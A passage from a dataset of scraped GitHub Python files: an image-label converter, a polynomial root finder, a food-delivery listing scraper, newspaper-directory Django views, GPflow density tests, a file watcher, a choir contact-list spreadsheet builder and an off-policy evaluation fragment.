'Annotations/CLS-LOC', split, id_ + '.xml')\n yolo = os.path.join(OUT_dir, 'labels', NAME, split, id_ + '.txt')\n yolo_wo_difficult = os.path.join(OUT_dir, 'labels-wo-difficult', NAME, split, id_ + '.txt')\n img_stem = os.path.join('images', NAME, split, id_)\n img = None\n for ext in ('.JPEG', '.jpeg', '.jpg', '.png'):\n if os.path.isfile(os.path.join(OUT_dir, img_stem + ext)):\n img = img_stem + ext\n break\n if not img: raise FileNotFoundError(img_stem)\n img = pathlib.PurePath(img).as_posix()\n if os.path.exists(xml):\n if xml2yolo(xml, yolo, yolo_wo_difficult):\n fo.write('{}\\n'.format(img))\n cur_yolo_dir = os.path.dirname(yolo)\n if prev_yolo_dir != cur_yolo_dir:\n prev_yolo_dir = cur_yolo_dir\n print('{} -> {}'.format(xml, yolo))\n else:\n assert use_mapping\n elif not use_mapping:\n assert 'test' == split\n fo.write('{}\\n'.format(img))\n\n print('')\n print('max width : {}'.format(_max_w))\n print('max height: {}'.format(_max_h))\n print('max width / height : {:f}'.format(_max_w_h))\n print('max height / width : {:f}'.format(_max_h_w))\n print('min xmin / (width-1) : {:f}'.format(_min_x_w))\n print('min ymin / (height-1): {:f}'.format(_min_y_h))\n print('max xmax / (width-1) : {:f}'.format(_max_x_w))\n print('max ymax / (height-1): {:f}'.format(_max_y_h))\n print('have difficult: {}'.format(_have_difficult))\n if not _have_difficult:\n print('remove redundant directory manually: {}'.format(os.path.join(OUT_dir, 'labels-wo-difficult')))\n if not use_mapping:\n print('to create trainval: cat lists/train.txt lists/val.txt >lists/trainval.txt')\n\n# =============================================================================\n# max width : 4992.0\n# max height: 5935.0\n# max width / height : 15.625000\n# max height / width : 11.147059\n# min xmin / (width-1) : 0.000000\n# min ymin / (height-1): 0.000000\n# max xmax / (width-1) : 1.000000\n# max ymax / (height-1): 1.000000\n# have difficult: False\n# remove redundant directory manually: labels-wo-difficult\n# =============================================================================\n\nif __name__=='__main__':\n main()\n\n# end of file\n","repo_name":"fmrns/darkconv","sub_path":"ilsvrc2yolo.py","file_name":"ilsvrc2yolo.py","file_ext":"py","file_size_in_byte":8999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"20409072052","text":"# usage examples: for P(x) = x³ - 7x + 6 : call rational_zeros([1,0,-7,6])\n# for P(x) = -3x³ - 3x² + 18x : call rational_zeros([-3,-3,18,0])\n\n\nfrom fractions import Fraction\nimport math\n\n# returns a prime factorization of a natural number \ndef prime_factors(x):\n if x == 1 : return []\n factors = []\n num = x\n for i in range(2,num+1):\n while num%i == 0:\n num = num // i\n factors.append(i) \n if num == 1: return factors\n\n# returns full set of factors of a natural number\ndef factors(x):\n prime_facs = prime_factors(x)\n factors = set()\n factors.add(1)\n for i in range(1,2**len(prime_facs)):\n indexer = i\n factor = 1\n j = 0\n while indexer:\n if indexer&1:\n factor *= prime_facs[j]\n indexer >>= 1\n j += 1\n factors.add(factor)\n return sorted(factors)\n\n# synthetic division\ndef is_zero(P,x): \n polynomial = list(reversed(P))\n remainder = polynomial.pop()\n while polynomial:\n remainder = x*remainder + polynomial.pop()\n return math.isclose(remainder, 0)\n\n# rational root theorem\ndef possible_zeros(P):\n numerators = factors(abs(P[-1]))\n denominators = factors(abs(P[0]))\n candidates = set()\n for n in numerators:\n for d in denominators:\n candidates.add(Fraction(n,d))\n candidates.add(Fraction(-n,d))\n return candidates\n\n# polynomial factor theorem\ndef rational_zeros(P):\n zeros = set()\n while P[-1] == 0:\n zeros.add(0)\n P.pop()\n candidates = list(possible_zeros(P))\n for c in candidates:\n if is_zero(P,c):\n zeros.add(c)\n return zeros\n\nif __name__ == '__main__':\n import sys\n coeffs = [int(c) for c in sys.argv[1:]]\n print(rational_zeros(coeffs))\n","repo_name":"boris-volkov/Python","sub_path":"math/factor.py","file_name":"factor.py","file_ext":"py","file_size_in_byte":1846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"39060813818","text":"# -*- coding: utf-8 -*-\n# @Time : 2018/5/3 23:38\n# @Author : ddvv\n# @Site :\n# @File : elmspider.py\n# @Software: PyCharm\n\n\"\"\"\n第三方依赖库: 无\n功能:\n 1. 获取店铺列表\n 2. 获取菜品价格\n消息说明:\n 1. \"AppSpider-0001-001\" : 店铺列表\n 2. \"AppSpider-0001-002\" : 菜品价格\n# -*- coding: utf-8 -*-\n# @Time : ${DATE} ${TIME}\n# @Author : ddvv\n# @Site : ${SITE}\n# @File : ${NAME}.py\n# @Software: ${PRODUCT_NAME}\n\ndef main() :\n pass\n\nif __name__ == \"__main__\" :\n main()\n\"\"\"\n\nimport json\nimport scrapy\nfrom appspider.commonapis import *\n\nCONST_INFO = {\n 'app_name': 'me.ele',\n 'app_version': '5.0.2',\n 'spider_author': 'ddvv'\n}\n\n\nclass ElmSpider(scrapy.Spider):\n \"\"\"\n 饿了么爬虫\n \"\"\"\n name = 'ElmSpider'\n\n # 爬虫入口,发起请求\n def start_requests(self):\n \"\"\"\n\n \"\"\"\n header = {\n 'Host': 'restapi.ele.me'\n }\n # 获取分类\n url_t = 'https://restapi.ele.me/shopping/v3/restaurants?extras[]=activities&extras[]=identification&latitude=30.53091986104846&longitude=104.0590999647975&city_id=14&rank_id=0f2f16d1e3a941ad9b54f97acb1be9e9&network=WIFI&network_operator=46011&weather_code=CLOUDY&extra_filters=home&deivce=HUAWEI%20NXT-AL10&os=Android/6.0&offset={offset}&limit=20'\n for offset in range(20, 60, 20):\n url = url_t.format(offset=offset)\n yield scrapy.Request(url=url,\n headers=header,\n method='GET',\n # meta={'proxy': 'https://192.168.2.119:8888'},\n callback=self.parse_list)\n\n # 解析返回值,推送至pipeline\n @staticmethod\n def parse_list(response):\n \"\"\"\n\n :param response: 爬取的数据返回值。\n \"\"\"\n try:\n js = json.loads(response.body.decode())\n recordlist = js['items']\n count = len(recordlist)\n if 0 != count:\n item = setappspideritem('AppSpider-0001-001', 'json', js, **CONST_INFO)\n yield item\n except Exception as e:\n logger.error(str(e))\n\n","repo_name":"reilost/appspider","sub_path":"appspider/spiders/elm/elmspider.py","file_name":"elmspider.py","file_ext":"py","file_size_in_byte":2200,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"62"} +{"seq_id":"20908104550","text":"import os\nfrom os.path import realpath, dirname, join, isfile, isdir, expanduser\n\nSUPPRESS_USER_ENV = 0\nAFEPY_D = dirname(dirname(realpath(__file__)))\nMAT_D = join(AFEPY_D, \"material\")\nassert isdir(MAT_D)\nPKG_D = join(AFEPY_D, \"lib\")\nMAT_LIB_DIRS = [MAT_D]\n\n# User configuration\nf = \"afepyrc\"\nif isfile(f):\n RCFILE = realpath(f)\nelse:\n RCFILE = os.getenv(\"AFEPYRC\") or expanduser(\"~/.{0}\".format(f))\n","repo_name":"tjfulle/Legacy","sub_path":"afepy/core/product.py","file_name":"product.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"9956721805","text":"import csv\nimport datetime\nimport json\n\nfrom django.conf import settings\nfrom django.core.urlresolvers import reverse\nfrom django.db.models import Max, Min, Q\nfrom django.http import Http404, HttpResponse, HttpResponseServerError\nfrom django.shortcuts import render_to_response\nfrom django.template import RequestContext\nfrom django.utils.encoding import smart_str\nfrom rfc3339 import rfc3339\n\nfrom chronam.core import index, models\nfrom chronam.core.decorator import add_cache_headers, cors, opensearch_clean, rdf_view\nfrom chronam.core.rdf import titles_to_graph\nfrom chronam.core.utils.url import unpack_url_path\nfrom chronam.core.utils.utils import _page_range_short, _rdf_base, is_valid_jsonp_callback\n\n\n@add_cache_headers(settings.METADATA_TTL_SECONDS)\ndef newspapers(request, state=None, format=\"html\"):\n if state and state != \"all_states\":\n state = unpack_url_path(state)\n if state is None:\n raise Http404\n else:\n state = state.title()\n else:\n state = request.GET.get(\"state\")\n\n language = language_display = None\n language_code = request.GET.get(\"language\")\n if language_code:\n language = models.Language.objects.filter(code__startswith=language_code).first()\n if not language:\n language_code = None\n else:\n language_code = language.code\n language_display = language.name\n ethnicity = request.GET.get(\"ethnicity\")\n\n if not state and not language and not ethnicity:\n page_title = \"All Digitized Newspapers\"\n else:\n page_title = \"Results: Digitized Newspapers\"\n\n titles = models.Title.objects.filter(has_issues=True)\n titles = titles.annotate(first=Min(\"issues__date_issued\"))\n titles = titles.annotate(last=Max(\"issues__date_issued\"))\n\n if state:\n titles = titles.filter(places__state__iexact=state)\n\n if language:\n titles = titles.filter(languages=language)\n\n if ethnicity:\n try:\n e = models.Ethnicity.objects.get(name=ethnicity)\n ethnicity_filter = Q(subjects__heading__icontains=ethnicity)\n for s in e.synonyms.all():\n ethnicity_filter |= Q(subjects__heading__icontains=s.synonym)\n titles = titles.filter(ethnicity_filter)\n except models.Ethnicity.DoesNotExist:\n pass\n\n _newspapers_by_state = {}\n for title in titles.prefetch_related(\"places\"):\n if state:\n _newspapers_by_state.setdefault(state, set()).add(title)\n else:\n for place in title.places.all():\n if place.state:\n _newspapers_by_state.setdefault(place.state, set()).add(title)\n\n newspapers_by_state = [\n (s, sorted(t, key=lambda title: title.name_normal))\n for s, t in sorted(_newspapers_by_state.iteritems())\n ]\n crumbs = list(settings.BASE_CRUMBS)\n\n if format == \"html\":\n return render_to_response(\n \"newspapers.html\", dictionary=locals(), context_instance=RequestContext(request)\n )\n elif format == \"txt\":\n host = request.get_host()\n return render_to_response(\n \"newspapers.txt\",\n dictionary=locals(),\n context_instance=RequestContext(request),\n content_type=\"text/plain\",\n )\n elif format == \"csv\":\n csv_header_labels = (\n \"Persistent Link\",\n \"State\",\n \"Title\",\n \"LCCN\",\n \"OCLC\",\n \"ISSN\",\n \"No. of Issues\",\n \"First Issue Date\",\n \"Last Issue Date\",\n \"More Info\",\n )\n response = HttpResponse(content_type=\"text/csv\")\n response[\"Content-Disposition\"] = 'attachment; filename=\"chronam_newspapers.csv\"'\n writer = csv.writer(response)\n writer.writerow(csv_header_labels)\n for state, titles in newspapers_by_state:\n for title in titles:\n writer.writerow(\n (\n request.build_absolute_uri(reverse(\"chronam_issues\", kwargs={\"lccn\": title.lccn})),\n state,\n title,\n title.lccn or \"\",\n title.oclc or \"\",\n title.issn or \"\",\n title.issues.count(),\n title.first,\n title.last,\n request.build_absolute_uri(\n reverse(\"chronam_title_essays\", kwargs={\"lccn\": title.lccn})\n ),\n )\n )\n return response\n\n elif format == \"json\":\n results = {\"newspapers\": []}\n for state, titles in newspapers_by_state:\n for title in titles:\n results[\"newspapers\"].append(\n {\n \"lccn\": title.lccn,\n \"title\": title.display_name,\n \"url\": request.build_absolute_uri(title.json_url),\n \"state\": state,\n }\n )\n\n return HttpResponse(json.dumps(results), content_type=\"application/json\")\n else:\n return HttpResponseServerError(\"unsupported format: %s\" % format)\n\n\n@cors\n@add_cache_headers(settings.DEFAULT_TTL_SECONDS)\n@opensearch_clean\ndef search_titles_results(request):\n page_title = \"US Newspaper Directory Search Results\"\n crumbs = list(settings.BASE_CRUMBS)\n crumbs.extend([{\"label\": \"Search Newspaper Directory\", \"href\": reverse(\"chronam_search_titles\")}])\n\n def prep_title_for_return(t):\n title = {}\n title.update(t.solr_doc)\n title[\"oclc\"] = t.oclc\n return title\n\n format = request.GET.get(\"format\")\n\n # check if requested format is CSV before building pages for response. CSV\n # response does not make use of pagination, instead all matching titles from\n # SOLR are returned at once\n if format == \"csv\":\n query = request.GET.copy()\n q, fields, sort_field, sort_order = index.get_solr_request_params_from_query(query)\n\n # return all titles in csv format. * May hurt performance. Assumption is that this\n # request is not made often.\n # TODO: revisit if assumption is incorrect\n solr_response = index.execute_solr_query(q, fields, sort_field, sort_order, index.title_count(), 0)\n titles = index.get_titles_from_solr_documents(solr_response)\n\n csv_header_labels = (\n \"lccn\",\n \"title\",\n \"place_of_publication\",\n \"start_year\",\n \"end_year\",\n \"publisher\",\n \"edition\",\n \"frequency\",\n \"subject\",\n \"state\",\n \"city\",\n \"country\",\n \"language\",\n \"oclc\",\n \"holding_type\",\n )\n response = HttpResponse(content_type=\"text/csv\")\n response[\"Content-Disposition\"] = 'attachment; filename=\"chronam_titles.csv\"'\n writer = csv.writer(response)\n writer.writerow(csv_header_labels)\n for title in titles:\n writer.writerow(\n map(\n lambda val: smart_str(val or \"--\"),\n (\n title.lccn,\n title.name,\n title.place_of_publication,\n title.start_year,\n title.end_year,\n title.publisher,\n title.edition,\n title.frequency,\n map(str, title.subjects.all()),\n set(map(lambda p: p.state, title.places.all())),\n map(lambda p: p.city, title.places.all()),\n str(title.country),\n map(str, title.languages.all()),\n title.oclc,\n title.holding_types,\n ),\n )\n )\n return response\n\n try:\n curr_page = int(request.GET.get(\"page\", 1))\n except ValueError as e:\n curr_page = 1\n\n paginator = index.SolrTitlesPaginator(request.GET)\n\n try:\n page = paginator.page(curr_page)\n except:\n raise Http404\n\n page_range_short = list(_page_range_short(paginator, page))\n\n try:\n rows = int(request.GET.get(\"rows\", \"20\"))\n except ValueError as e:\n rows = 20\n\n query = request.GET.copy()\n query.rows = rows\n if page.has_next():\n query[\"page\"] = curr_page + 1\n next_url = \"?\" + query.urlencode()\n if page.has_previous():\n query[\"page\"] = curr_page - 1\n previous_url = \"?\" + query.urlencode()\n start = page.start_index()\n end = page.end_index()\n host = request.get_host()\n page_list = []\n for p in range(len(page.object_list)):\n page_start = start + p\n page_list.append((page_start, page.object_list[p]))\n\n if format == \"atom\":\n feed_url = request.build_absolute_uri()\n updated = rfc3339(datetime.datetime.now())\n return render_to_response(\n \"search_titles_results.xml\",\n dictionary=locals(),\n context_instance=RequestContext(request),\n content_type=\"application/atom+xml\",\n )\n\n elif format == \"json\":\n results = {\n \"startIndex\": start,\n \"endIndex\": end,\n \"totalItems\": paginator.count,\n \"itemsPerPage\": rows,\n \"items\": [prep_title_for_return(t) for t in page.object_list],\n }\n # add url for the json view\n for i in results[\"items\"]:\n i[\"url\"] = request.build_absolute_uri(i[\"id\"].rstrip(\"/\") + \".json\")\n json_text = json.dumps(results)\n # jsonp?\n callback = request.GET.get(\"callback\")\n if callback and is_valid_jsonp_callback(callback):\n json_text = \"%s(%s);\" % (\"callback\", json_text)\n return HttpResponse(json_text, content_type=\"application/json\")\n\n sort = request.GET.get(\"sort\", \"relevance\")\n\n q = request.GET.copy()\n if \"page\" in q:\n del q[\"page\"]\n if \"sort\" in q:\n del q[\"sort\"]\n q = q.urlencode()\n collapse_search_tab = True\n return render_to_response(\n \"search_titles_results.html\", dictionary=locals(), context_instance=RequestContext(request)\n )\n\n\n@add_cache_headers(settings.DEFAULT_TTL_SECONDS)\n@rdf_view\ndef newspapers_rdf(request):\n titles = models.Title.objects.filter(has_issues=True)\n titles = titles.prefetch_related(\n \"subjects\",\n \"languages\",\n \"essays\",\n \"places\",\n \"urls\",\n \"succeeding_title_links\",\n \"preceeding_title_links\",\n \"related_title_links\",\n )\n titles = titles.select_related(\"marc\")\n\n graph = titles_to_graph(titles)\n return HttpResponse(\n graph.serialize(base=_rdf_base(request), include_base=True), content_type=\"application/rdf+xml\"\n )\n","repo_name":"LibraryOfCongress/chronam","sub_path":"core/views/directory.py","file_name":"directory.py","file_ext":"py","file_size_in_byte":10975,"program_lang":"python","lang":"en","doc_type":"code","stars":70,"dataset":"github-code","pt":"62"} +{"seq_id":"19016246378","text":"import numpy as np\nimport pytest\nimport scipy.stats\nfrom numpy.random import randn\nfrom numpy.testing import assert_allclose\nfrom scipy.stats import multivariate_normal as mvn\n\nfrom gpflow import logdensities\nfrom gpflow.base import AnyNDArray\nfrom gpflow.utilities import to_default_float\n\nrng = np.random.RandomState(1)\n\n\n@pytest.mark.parametrize(\"x, mu, var\", [(0.9, 0.5, 1.3)])\ndef test_gaussian(x: float, mu: float, var: float) -> None:\n gpf = logdensities.gaussian(x, mu, var).numpy()\n sps = scipy.stats.norm(loc=mu, scale=np.sqrt(var)).logpdf(x)\n np.testing.assert_allclose(gpf, sps)\n\n\n@pytest.mark.parametrize(\"x, mu, var\", [(0.9, 0.5, 1.3)])\ndef test_lognormal(x: float, mu: float, var: float) -> None:\n gpf = logdensities.lognormal(x, mu, var).numpy()\n sps = scipy.stats.lognorm(s=np.sqrt(var), scale=np.exp(mu)).logpdf(x)\n np.testing.assert_allclose(gpf, sps)\n\n\n@pytest.mark.parametrize(\n \"x, p\",\n [\n [1, 0.6],\n [0, 0.6],\n ],\n)\ndef test_bernoulli(x: float, p: float) -> None:\n gpf = logdensities.bernoulli(x, p).numpy()\n sps = scipy.stats.bernoulli.logpmf(k=x, p=p)\n np.testing.assert_allclose(gpf, sps)\n\n\n@pytest.mark.parametrize(\n \"x, lam\",\n [\n [0, 1.3],\n [1, 1.3],\n [2, 1.3],\n ],\n)\ndef test_poisson(x: float, lam: float) -> None:\n gpf = logdensities.poisson(x, lam).numpy()\n sps = scipy.stats.poisson.logpmf(k=x, mu=lam)\n np.testing.assert_allclose(gpf, sps)\n\n\n@pytest.mark.parametrize(\"x, scale\", [(0.9, 1.3)])\ndef test_exponential(x: float, scale: float) -> None:\n gpf = logdensities.exponential(x, scale).numpy()\n sps = scipy.stats.expon(loc=0.0, scale=scale).logpdf(x)\n np.testing.assert_allclose(gpf, sps)\n\n\n@pytest.mark.parametrize(\"x, shape, scale\", [(0.9, 0.5, 1.3)])\ndef test_gamma(x: float, shape: float, scale: float) -> None:\n gpf = logdensities.gamma(x, shape, scale).numpy()\n sps = scipy.stats.gamma(a=shape, loc=0.0, scale=scale).logpdf(x)\n np.testing.assert_allclose(gpf, sps)\n\n\n@pytest.mark.parametrize(\n \"x, mean, scale, df\",\n [\n (0.9, 0.5, 1.3, 1),\n (0.9, 0.5, 1.3, 2),\n (0.9, 0.5, 1.3, 3),\n ],\n)\ndef test_student_t(x: float, mean: float, scale: float, df: int) -> None:\n cast = to_default_float\n gpf = logdensities.student_t(cast(x), cast(mean), cast(scale), df).numpy()\n sps = scipy.stats.t(df=df, loc=mean, scale=scale).logpdf(x)\n np.testing.assert_allclose(gpf, sps)\n\n\n@pytest.mark.parametrize(\"x, alpha, beta\", [(0.9, 0.5, 1.3)])\ndef test_beta(x: float, alpha: float, beta: float) -> None:\n gpf = logdensities.beta(x, alpha, beta).numpy()\n sps = scipy.stats.beta(a=alpha, b=beta).logpdf(x)\n np.testing.assert_allclose(gpf, sps)\n\n\n@pytest.mark.parametrize(\"x, mu, sigma\", [(0.9, 0.5, 1.3)])\ndef test_laplace(x: float, mu: float, sigma: float) -> None:\n gpf = logdensities.laplace(x, mu, sigma).numpy()\n sps = scipy.stats.laplace(loc=mu, scale=sigma).logpdf(x)\n np.testing.assert_allclose(gpf, sps)\n\n\n@pytest.mark.parametrize(\"x\", [randn(4, 10), randn(4, 1)])\n@pytest.mark.parametrize(\"mu\", [randn(4, 10), randn(4, 1)])\n@pytest.mark.parametrize(\"cov_sqrt\", [randn(4, 4), np.eye(4)])\ndef test_multivariate_normal(x: AnyNDArray, mu: AnyNDArray, cov_sqrt: AnyNDArray) -> None:\n cov = np.dot(cov_sqrt, cov_sqrt.T)\n L = np.linalg.cholesky(cov)\n\n gp_result = logdensities.multivariate_normal(x, mu, L)\n\n if mu.shape[1] > 1:\n if x.shape[1] > 1:\n sp_result = [mvn.logpdf(x[:, i], mu[:, i], cov) for i in range(mu.shape[1])]\n else:\n sp_result = [mvn.logpdf(x.ravel(), mu[:, i], cov) for i in range(mu.shape[1])]\n else:\n sp_result = mvn.logpdf(x.T, mu.ravel(), cov)\n assert_allclose(gp_result, sp_result)\n","repo_name":"GPflow/GPflow","sub_path":"tests/gpflow/test_logdensities.py","file_name":"test_logdensities.py","file_ext":"py","file_size_in_byte":3759,"program_lang":"python","lang":"en","doc_type":"code","stars":1774,"dataset":"github-code","pt":"62"} +{"seq_id":"5561213386","text":"import sys\nimport os\nfrom time import sleep, strftime\nimport argparse\nimport hashlib\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-p', '--poll-time', type=float, default=1.0)\nparser.add_argument('file')\nparser.add_argument('cmd')\nargs = parser.parse_args()\n\nif not os.path.isfile(args.file):\n print(f'Error: {args.file} is not a file.')\n sys.exit(1)\n\nhash = hashlib.md5(open(args.file).read().encode()).hexdigest()\n\nwhile True:\n sleep(args.poll_time)\n new_hash = hashlib.md5(open(args.file).read().encode()).hexdigest()\n if new_hash == hash:\n continue\n print(f'{strftime(\"%Y-%m-%d %H:%M:%S\")} File changed! Running {args.cmd}')\n os.system(args.cmd)\n hash = new_hash\n\n","repo_name":"zgulde/python-query-builder","sub_path":"filewatcher.py","file_name":"filewatcher.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"11509685796","text":"from collections import deque\ndef solution(cards):\n result = []\n for i in cards:\n if max(cards) == 0:\n result.append(0)\n break\n if i != 0:\n queue = deque()\n queue.append(i)\n check = 0\n while queue:\n node = queue.popleft()\n if cards[node-1] != 0:\n queue.append(cards[node-1])\n cards[node-1] = 0\n check += 1\n result.append(check)\n result.sort(reverse = True)\n answer = result[0]*result[1]\n return answer\n\n","repo_name":"ho-taek/CodingTest","sub_path":"dfs&bfs/PG-혼자 놀기의 달인(LEVEL2).py","file_name":"PG-혼자 놀기의 달인(LEVEL2).py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"35590167589","text":"# Input: Reporter-Abfrage \"Gesamtliste Stimmbildung (Vorlage für Übersichtsplan)\"\r\n# in Zwischenablage, dann dieses Skript starten\r\n\r\nimport csv\r\nimport io\r\nimport win32clipboard\r\nimport xlsxwriter\r\nimport datetime\r\n\r\nheute = datetime.datetime.strftime(datetime.datetime.today(), \"%Y-%m-%d\")\r\n\r\nform_header = {\"bold\": True, \"align\": \"center\", \"valign\": \"top\", \"size\": 12, \"border\": 2}\r\nform_zelle_weiss = {\"align\": \"left\", \"valign\": \"top\", \"size\": 10, \"text_wrap\": True, \"border\": 1, \"bg_color\": \"#FFFFFF\"}\r\nform_zelle_grau = {\"align\": \"left\", \"valign\": \"top\", \"size\": 10, \"text_wrap\": True, \"border\": 1, \"bg_color\": \"#DDDDDD\"}\r\nform_li_rand = {\"left\": 2, \"bottom\": 1, \"align\": \"left\", \"valign\": \"vcenter\", \"size\": 10}\r\nform_re_rand_weiss = {\"right\": 2, \"bottom\": 1, \"align\": \"left\", \"valign\": \"top\", \"size\": 10, \"text_wrap\": True, \"bg_color\": \"#FFFFFF\"}\r\nform_re_rand_grau = {\"right\": 2, \"bottom\": 1, \"align\": \"left\", \"valign\": \"top\", \"size\": 10, \"text_wrap\": True, \"bg_color\": \"#DDDDDD\"}\r\nform_ob_rand = {\"top\": 2}\r\n\r\nprint(\"Bitte Reporter-Abfrage \")\r\nprint(\"'Liste Stimmbildung mit allen Telefonnummern und Mailadressen (Vorlage für Skript)'\")\r\nprint(\"durchführen und Daten in Zwischenablage ablegen.\")\r\ninput(\"Bitte ENTER drücken, wenn dies geschehen ist!\")\r\n\r\nwin32clipboard.OpenClipboard()\r\ndata = win32clipboard.GetClipboardData()\r\nwin32clipboard.CloseClipboard()\r\n\r\nif not data.startswith(\"lfd. Nr.\\t\"):\r\n print(\"Fehler: Unerwarteter Inhalt der Zwischenablage!\")\r\n exit()\r\n\r\nwith io.StringIO(data) as infile:\r\n daten = list(csv.DictReader(infile, delimiter=\"\\t\"))\r\n\r\nstibis = {}\r\nnamen = set()\r\n\r\nfor eintrag in daten:\r\n stibi = eintrag[\"Ausbilder\"]\r\n spatz = \"{}, {}\".format(eintrag[\"Name\"], eintrag[\"Vorname\"])\r\n tel_spatz = eintrag[\"Telefon\"]\r\n tel_eltern = eintrag[\"Eltern Telefon\"]\r\n stibis.setdefault(stibi, {})\r\n stibis[stibi].setdefault(spatz, {})\r\n if \"@\" in tel_spatz:\r\n stibis[stibi][spatz].setdefault(\"Mail\", set()).add(tel_spatz)\r\n elif tel_spatz.startswith(\"01\"):\r\n stibis[stibi][spatz].setdefault(\"Mobil\", set()).add(tel_spatz)\r\n else:\r\n stibis[stibi][spatz].setdefault(\"Telefon\", set()).add(tel_spatz)\r\n\r\n if \"@\" in tel_eltern:\r\n stibis[stibi][spatz].setdefault(\"Mail Eltern\", set()).add(tel_eltern)\r\n elif tel_eltern.startswith(\"01\"):\r\n stibis[stibi][spatz].setdefault(\"Mobil Eltern\", set()).add(tel_eltern)\r\n else:\r\n stibis[stibi][spatz].setdefault(\"Telefon Eltern\", set()).add(tel_eltern)\r\n \r\n namen.add(eintrag[\"Ausbilder\"])\r\n\r\nnamen = sorted(list(namen-{\"\"}))\r\n\r\n#input(stibis)\r\n#sys.exit()\r\n\r\n#max_breite = {name: 0 for name in namen}\r\n#for wochentag in spatzen:\r\n# for uhrzeit in spatzen[wochentag]:\r\n# for stibi in spatzen[wochentag][uhrzeit]:\r\n# if stibi:\r\n# for eintrag in spatzen[wochentag][uhrzeit][stibi]:\r\n# if len(eintrag) > max_breite[stibi]:\r\n# max_breite[stibi] = len(eintrag)\r\nbreiten = (20, 16, 16, 35, 16, 16, 35)\r\n\r\nwith xlsxwriter.Workbook(f\"stibi_tel_mail_{heute}.xlsx\") as outxlsx:\r\n excel = outxlsx.add_worksheet(\"Stibi-Liste\")\r\n excel.set_paper(9) # DIN A4\r\n excel.set_margins(0.3, 0.3, 0.6, 0.6) # Seitenränder in Zoll\r\n for spalte, eintrag in enumerate(breiten):\r\n excel.set_column(spalte, spalte, eintrag*0.85)\r\n #excel.set_column(0, 6, 20) # Spalte Datum/Uhrzeit\r\n excel.set_landscape()\r\n excel.fit_to_pages(1,0) # An Seitenbreite anpassen\r\n excel.set_header(\"&CStimmbildungs-Kontaktliste Ulmer Spatzen Chor, Stand: &D\")\r\n format_header = outxlsx.add_format(form_header)\r\n format_zelle_weiss = outxlsx.add_format(form_zelle_weiss)\r\n format_zelle_grau = outxlsx.add_format(form_zelle_grau)\r\n format_li_rand = outxlsx.add_format(form_li_rand)\r\n format_re_rand_weiss = outxlsx.add_format(form_re_rand_weiss)\r\n format_re_rand_grau = outxlsx.add_format(form_re_rand_grau)\r\n format_ob_rand = outxlsx.add_format(form_ob_rand)\r\n zeile = 0\r\n umbrüche = []\r\n for stibi in stibis:\r\n # Überschriften\r\n for spalte, item in enumerate([stibi, \"Telefon\", \"Mobil\", \"Mail\", \"Telefon Eltern\", \"Mobil Eltern\", \"Mail Eltern\"]):\r\n excel.write_string(zeile, spalte, item, format_header)\r\n zeile += 1\r\n for spatz in stibis[stibi]:\r\n felder = [spatz]\r\n for eintrag in (\"Telefon\", \"Mobil\", \"Mail\", \"Telefon Eltern\", \"Mobil Eltern\", \"Mail Eltern\"):\r\n nummern = list(stibis[stibi][spatz].get(eintrag, [\"\"]))\r\n felder.append(\"\\n\".join(nummern))\r\n for spalte, item in enumerate(felder):\r\n excel.write_string(zeile, spalte, item, format_zelle_weiss)\r\n zeile += 1\r\n umbrüche.append(zeile)\r\n excel.set_h_pagebreaks(umbrüche)\r\n \r\n # Arbeitsblatt nur mit Mailadressen (Eltern & Kinder)\r\n \r\n for stibi in stibis:\r\n excel = outxlsx.add_worksheet(stibi[:stibi.index(\",\")]) # Nur Nachname der Stibi als Worksheet-Name\r\n excel.set_paper(9) # DIN A4\r\n excel.set_margins(0.3, 0.3, 0.6, 0.6) # Seitenränder in Zoll\r\n excel.set_column(0, 0, 35)\r\n excel.set_header(\"&CStimmbildungs-Mailliste (Eltern und Kinder) Ulmer Spatzen Chor, Stand: &D\")\r\n\r\n excel.write_string(0, 0, stibi, format_header)\r\n\r\n # Eine überspringen, damit nachher in Excel Auswahl mit Strg-A möglich wird\r\n excel.write_string(2, 0, \"spatzenchor@ulm.de\", format_zelle_weiss)\r\n\r\n zeile = 3 \r\n mails = set()\r\n for spatz in stibis[stibi]:\r\n adressen = list(stibis[stibi][spatz].get(\"Mail\", [])) + list(stibis[stibi][spatz].get(\"Mail Eltern\", []))\r\n for mail in adressen:\r\n mails.add(mail)\r\n for item in mails:\r\n excel.write_string(zeile, 0, item, format_zelle_weiss)\r\n zeile += 1\r\n\r\n \r\nprint(f\"Fertig! Die Datei stibi_tel_mail_{heute}.xlsx wurde im aktuellen Ordner abgelegt.\")\r\n","repo_name":"Pietzcker/USC_Stibiplan","sub_path":"Stibi-nach-Stimmbildner.py","file_name":"Stibi-nach-Stimmbildner.py","file_ext":"py","file_size_in_byte":6001,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"24111316194","text":"import numpy as np\nfrom scipy.stats import t\n\n\ndef pdis_batch(D, pi_e, pi_b, batch_size=None):\n\t# R = discounted reward\n\tS, A, R, _ = D\n\tif batch_size is not None:\n\t\tidx = np.random.choice(len(S), size=batch_size)\n\t\tS, A, R = S[idx], A[idx], R[idx]\n\tpi_vals_e = pi_e(S, A)\n\tpi_vals_b = pi_b(S, A)\n\tpi_ratios = pi_vals_e / pi_vals_b\n\t# print('pi_vals_e', pi_vals_e)\n\t# print('pi_vals_b', pi_vals_b)\n\t# print('pi_ratios', pi_ratios)\n\tpi_ratios_cumprod = np.cumprod(pi_ratios, axis=-1)\n\t# print('pi_ratios_cumprod', pi_ratios_cumprod)\n\tpi_ratios_cumprod[np.isnan(pi_ratios_cumprod)] = 0\n\t# print('pi_ratios_cumprod', pi_ratios_cumprod)\n\tpdis_estimates = (pi_ratios_cumprod * R).sum(axis=-1)\n\t# print('pdis_estimates', pdis_estimates)\n\n\treturn pdis_estimates.mean(), pdis_estimates\n\ndef hcpe(D_c, D_s, pi_b, c, 